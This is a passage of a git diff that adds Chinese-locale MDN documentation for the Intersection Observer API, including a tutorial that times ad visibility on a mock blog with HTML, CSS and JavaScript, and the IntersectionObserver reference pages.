可以是单一的number也可以是number数组,target元素和root元素相交程度达到该值的时候IntersectionObserver注册的回调函数将会被执行。如果你只是想要探测当target元素的在root元素中的可见性超过50%的时候,你可以指定该属性值为0.5。如果你想要target元素在root元素的可见程度每多25%就执行一次回调,那么你可以指定一个数组[0, 0.25, 0.5, 0.75, 1]。默认值是0(意味着只要有一个target像素出现在root元素中,回调函数将会被执行)。该值为1.0含义是当target完全出现在root元素中时候 回调才会被执行。
+
+

Targeting an element to be observed

+
+
+ +

为每个观察者配置一个目标

+ +
let target = document.querySelector('#listItem');
+observer.observe(target);
+
+ +

每当目标满足该IntersectionObserver指定的threshold值,回调被调用。

+ +

只要目标满足为IntersectionObserver指定的阈值,就会调用回调。回调接收 {{domxref("IntersectionObserverEntry")}} 对象和观察者的列表:

+ +
let callback =(entries, observer) => {
+  entries.forEach(entry => {
+    // Each entry describes an intersection change for one observed
+    // target element:
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+ +

请留意,你注册的回调函数将会在主线程中被执行。所以该函数执行速度要尽可能的快。如果有一些耗时的操作需要执行,建议使用 {{domxref("Window.requestIdleCallback()")}} 方法。

+ +

How intersection is calculated -- 交集的计算

+ +

所有区域均被Intersection Observer API 当做一个矩形看待。如果元素是不规则的图形也将会被看成一个包含元素所有区域的最小矩形,相似的,如果元素发生的交集部分不是一个矩形,那么也会被看作是一个包含他所有交集区域的最小矩形。

+ +

这个有助于理解IntersectionObserverEntry 的属性,IntersectionObserverEntry用于描述target和root的交集。

+ +

The intersection root and root margin

+ +

在我们开始跟踪target元素和容器元素之前,我们要先知道什么是容器(root)元素。容器元素又称为intersection root, 或 root element.这个既可以是target元素祖先元素也可以是指定null则使用浏览器视口做为容器(root)。

+ +

用作描述intersection root 元素边界的矩形可以使用root margin来调整矩形大小,即rootMargin属性,在我们创建IntersectionObserver对象的时候使用。rootMargin的属性值将会做为margin偏移值添加到intersection root 元素的对应的margin位置,并最终形成root 元素的矩形边界。

+ +

Thresholds

+ +

IntersectionObserver API并不会每次在元素的交集发生变化的时候都会执行回调。相反它使用了thresholds参数。当你创建一个observer的时候,你可以提供一个或者多个number类型的数值用来表示target元素在root元素的可见程序的百分比,然后,API的回调函数只会在元素达到thresholds规定的阈值时才会执行。

+ +

例如,当你想要在target在root元素中中的可见性每超过25%或者减少25%的时候都通知一次。你可以在创建observer的时候指定thresholds属性值为[0, 0.25, 0.5, 0.75, 1],你可以通过检测在每次交集发生变化的时候的都会传递回调函数的参数"IntersectionObserverEntry.isIntersecting"的属性值来判断target元素在root元素中的可见性是否发生变化。如果isIntersecting 是 true,target元素的至少已经达到thresholds属性值当中规定的其中一个阈值,如果是false,target元素不在给定的阈值范围内可见。

+ +

为了让我们感受下thresholds是如何工作的,尝试滚动以下的例子,每一个colored box 的四个边角都会展示自身在root元素中的可见程度百分比,所以在你滚动root的时候你将会看到四个边角的数值一直在发生变化。每一个box都有不同的thresholds:

+ + + +

Interfaces

+ +
+
{{domxref("IntersectionObserver")}}
+
Provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's {{Glossary('viewport')}}. The ancestor or viewport is referred to as the root.
+
{{domxref("IntersectionObserverEntry")}}
+
Provides information about the intersection of a particular target with the observers root element at a particular time. Instances of this interface cannot be created, but a list of them is returned by {{domxref("IntersectionObserver.takeRecords", "IntersectionObserver.takeRecords()")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

更多参考

+ + diff --git "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" "b/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" new file mode 100644 index 0000000000..24446a0141 --- /dev/null +++ "b/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" @@ -0,0 +1,562 @@ +--- +title: Timing element visibility with the Intersection Observer API +slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +--- +
{{APIRef("Intersection Observer API")}}
+ +
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
+ +
 
+ +

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

+ +

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

+ +

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

+ +

Let's get started!

+ +
+

Site structure: The HTML

+ +

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

+ +
<div class="wrapper">
+  <header>
+    <h1>A Fake Blog</h1>
+    <h2>Showing Intersection Observer in action!</h2>
+  </header>
+
+  <aside>
+    <nav>
+      <ul>
+        <li><a href="#link1">A link</a></li>
+        <li><a href="#link2">Another link</a></li>
+        <li><a href="#link3">One more link</a></li>
+      </ul>
+    </nav>
+  </aside>
+
+  <main>
+  </main>
+</div>
+ +

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

+ +

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

+ +

Styling the site with CSS

+ +

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

+ +

The basics

+ +

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

+ +
body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}
+ +

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

+ +

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

+ +

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

+ +

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

+ +

The header

+ +

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

+ +
header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}
+ +

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

+ +

The sidebar

+ +

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

+ +
aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}
+ +

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

+ +

The content body

+ +

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

+ +
main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}
+ +

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

+ +

Articles

+ +

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

+ +
article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}
+ +

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

+ +

Ads

+ +

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

+ +
.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+ +

There's nothing magic in here. It's fairly basic CSS.

+ +

Tying it together with JavaScript

+ +

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

+ +
let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;
+ +

These are used as follows:

+ +
+
contentBox
+
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
+
nextArticleID
+
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
+
visibleAds
+
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
+
previouslyVisibleAds
+
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
+
adObserver
+
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
+
refreshIntervalID
+
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
+
+ +

Setting up

+ +

To set things up, we run the startup() function below when the page loads:

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}
+ +

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

+ +

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

+ +

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

+ +

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

+ +

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

+ +

Handling document visibility changes

+ +

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

+ +
function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}
+ +

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

+ +

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

+ +

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

+ +

Handling intersection changes

+ +

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

+ +
function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio >= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}
+ +

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

+ +

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

+ +

Handling periodic actions

+ +

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

+ +
function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}
+ +

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

+ +

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

+ +

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

+ +

Updating an ad's visibility timer

+ +

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

+ +
function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}
+ +

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

+ +
+
lastViewStarted
+
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
+
totalViewTime
+
The total number of milliseconds the ad has been visible.
+
+ +

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

+ +

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

+ +

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

+ +

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

+ +

Drawing an ad's timer

+ +

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

+ +
function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}
+ +

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

+ +

Building the page contents

+ +

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

+ +
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.</p>";
+
+function buildContents() {
+  for (let i=0; i<5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+
+ +

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

+ +

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

+ +

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

+ +

Creating an article

+ +

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

+ +
function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}
+ +

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

+ +

Creating an ad

+ +

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

+ +
function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}
+ +

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

+ +

Then we define several variables:

+ +
+
adBox
+
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
+
title
+
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
+
body
+
Will hold the {{HTMLElement("p")}} representing the ad's body text.
+
timerElem
+
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
+
+ +

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

+ +

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

+ +

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

+ +

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

+ +

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

+ +

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

+ +

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

+ +

Replacing an existing ad

+ +

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

+ +
function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}
+ +

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

+ +

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

+ +

The new ad's element object is returned to the caller in case it's needed.

+
+ +

Result

+ +

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

+ +

{{EmbedLiveSample("fullpage_example", 750, 800)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/intersectionobserver/disconnect/index.html b/files/zh-cn/web/api/intersectionobserver/disconnect/index.html new file mode 100644 index 0000000000..6e1d89fd76 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/disconnect/index.html @@ -0,0 +1,55 @@ +--- +title: IntersectionObserver.disconnect() +slug: Web/API/IntersectionObserver/disconnect +tags: + - API + - Disconnect + - IntersectionObserver + - Method +translation_of: Web/API/IntersectionObserver/disconnect +--- +
{{APIRef("Intersection Observer API")}}
+ +
 {{domxref("IntersectionObserver")}} 的disconnect()方法终止对所有目标元素可见性变化的观察。
+ +

语法

+ +
IntersectionObserver.disconnect();
+ +

参数

+ +

None.

+ +

返回值

+ +

undefined.

+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-disconnect','IntersectionObserver.disconnect()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

浏览器兼容性 

+ + + +

{{Compat("api.IntersectionObserver.disconnect")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/intersectionobserver/index.html b/files/zh-cn/web/api/intersectionobserver/index.html new file mode 100644 index 0000000000..1458e5c459 --- /dev/null +++ b/files/zh-cn/web/api/intersectionobserver/index.html @@ -0,0 +1,98 @@ +--- +title: Intersection Observer +slug: Web/API/IntersectionObserver +tags: + - API + - Experimental + - Interface + - Intersection Observer API + - IntersectionObserver + - Reference + - observers +translation_of: Web/API/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

IntersectionObserver接口 (从属于Intersection Observer API) 提供了一种异步观察目标元素与其祖先元素或顶级文档视窗({{Glossary('viewport')}})交叉状态的方法。祖先元素与视窗({{Glossary('viewport')}})被称为根(root)。

+ +

当一个IntersectionObserver对象被创建时,其被配置为监听根中一段给定比例的可见区域。一旦IntersectionObserver被创建,则无法更改其配置,所以一个给定的观察者对象只能用来监听可见区域的特定变化值;然而,你可以在同一个观察者对象中配置监听多个目标元素。

+ +

